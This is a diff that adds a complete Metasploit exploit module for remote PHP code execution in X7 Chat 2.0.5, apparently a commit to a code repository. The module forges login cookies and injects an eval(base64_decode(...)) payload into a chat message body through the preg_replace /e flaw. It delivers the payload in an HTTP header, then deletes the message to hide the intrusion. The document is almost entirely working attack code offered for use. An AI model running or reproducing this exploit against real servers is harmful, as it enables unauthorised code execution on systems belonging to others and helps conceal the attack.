|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = GoodRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::PhpEXE |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + Library lib/message.php for X7 Chat 2.0.5 uses preg_replace() function with the /e modifier. |
| 19 | + This allow execute PHP code in the remote machine. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Fernando Munoz # fmunozs', # discovery |
| 25 | + 'Juan Escobar # itseco', # module development |
| 26 | + ], |
| 27 | + #'References' => [], |
| 28 | + 'Platform' => ['php'], |
| 29 | + 'Arch' => ARCH_PHP, |
| 30 | + 'Targets' => [ |
| 31 | + ['Generic (PHP Payload)', {'Arch' => ARCH_PHP, 'Platform' => 'php'}] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Oct 27 2014', |
| 34 | + 'DefaultTarget' => 0)) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + OptString.new('USERNAME', [ true, 'Username to authenticate as', 'user']), |
| 39 | + OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'user']), |
| 40 | + OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']), |
| 41 | + ], self.class) |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + res = exec_php("phpinfo(); die();", true) |
| 46 | + |
| 47 | + if (res.body =~ /This program makes use of the Zend/) |
| 48 | + return Exploit::CheckCode::Vulnerable |
| 49 | + else |
| 50 | + return Exploit::CheckCode::Unknown |
| 51 | + end |
| 52 | + end |
| 53 | + |
| 54 | + def exec_php(php_code, check = false) |
| 55 | + |
| 56 | + cookie_x7c2u = "X7C2U=" + datastore['USERNAME'] |
| 57 | + cookie_x7c2p = "X7C2P=" + Rex::Text.md5(datastore['USERNAME']) |
| 58 | + rand_text = Rex::Text.rand_text_alpha(5, 8) |
| 59 | + |
| 60 | + # remove comments, line breaks and spaces |
| 61 | + praw = php_code.gsub(/(\s+)|(#.*)/, '') |
| 62 | + |
| 63 | + # clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals) |
| 64 | + while Rex::Text.encode_base64(praw) =~ /==/ || Rex::Text.encode_base64(praw) =~ /=/ |
| 65 | + praw = praw + " " |
| 66 | + end |
| 67 | + |
| 68 | + pb64 = Rex::Text.encode_base64(praw) |
| 69 | + |
| 70 | + print_status("Sending offline message (#{rand_text}) to #{datastore['USERNAME']}...") |
| 71 | + res = send_request_cgi({ |
| 72 | + 'method' => 'GET', |
| 73 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 74 | + 'headers' => { |
| 75 | + 'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};", |
| 76 | + }, |
| 77 | + 'vars_get' => { |
| 78 | + 'act' => 'userpanel', |
| 79 | + 'cp_page' => 'msgcenter', |
| 80 | + 'to' => datastore['USERNAME'], |
| 81 | + 'subject' => rand_text, |
| 82 | + 'body' => "#{rand_text}www.${eval(base64_decode(getallheaders()[p]))}.c#{rand_text}", |
| 83 | + } |
| 84 | + }) |
| 85 | + |
| 86 | + if res && res.code == 200 |
| 87 | + print_good("Message (#{rand_text}) sent successfully") |
| 88 | + else |
| 89 | + fail_with(Failure::NoAccess, 'Sending the message (#{rand_text}) has failed') |
| 90 | + end |
| 91 | + |
| 92 | + if res.body =~ /([0-9]*)">#{rand_text}/ |
| 93 | + message_id = $1 |
| 94 | + else |
| 95 | + fail_with(Failure::NoAccess, 'Could not find message (#{rand_text}) in the message list') |
| 96 | + end |
| 97 | + |
| 98 | + print_status("Accessing message (#{rand_text})") |
| 99 | + print_status("Sending payload in HTTP header 'p'") |
| 100 | + res = send_request_cgi({ |
| 101 | + 'method' => 'GET', |
| 102 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 103 | + 'headers' => { |
| 104 | + 'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};", |
| 105 | + 'p' => "#{pb64}", |
| 106 | + }, |
| 107 | + 'vars_get' => { |
| 108 | + 'act' => 'userpanel', |
| 109 | + 'cp_page' => 'msgcenter', |
| 110 | + 'read' => message_id, |
| 111 | + } |
| 112 | + }) |
| 113 | + |
| 114 | + res_payload = res |
| 115 | + |
| 116 | + print_status("Deleting message (#{rand_text})") |
| 117 | + res = send_request_cgi({ |
| 118 | + 'method' => 'GET', |
| 119 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 120 | + 'headers' => { |
| 121 | + 'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};", |
| 122 | + }, |
| 123 | + 'vars_get' => { |
| 124 | + 'act' => 'userpanel', |
| 125 | + 'cp_page' => 'msgcenter', |
| 126 | + 'delete' => message_id, |
| 127 | + } |
| 128 | + }) |
| 129 | + |
| 130 | + if res.body =~ /The message has been deleted/ |
| 131 | + print_good("Message (#{rand_text}) removed") |
| 132 | + else |
| 133 | + print_error('Removing message (#{rand_text}) has failed') |
| 134 | + end |
| 135 | + |
| 136 | + # if check return the response |
| 137 | + if check |
| 138 | + return res_payload |
| 139 | + end |
| 140 | + end |
| 141 | + |
| 142 | + def exploit |
| 143 | + exec_php(payload.raw) |
| 144 | + end |
| 145 | +end |
0 commit comments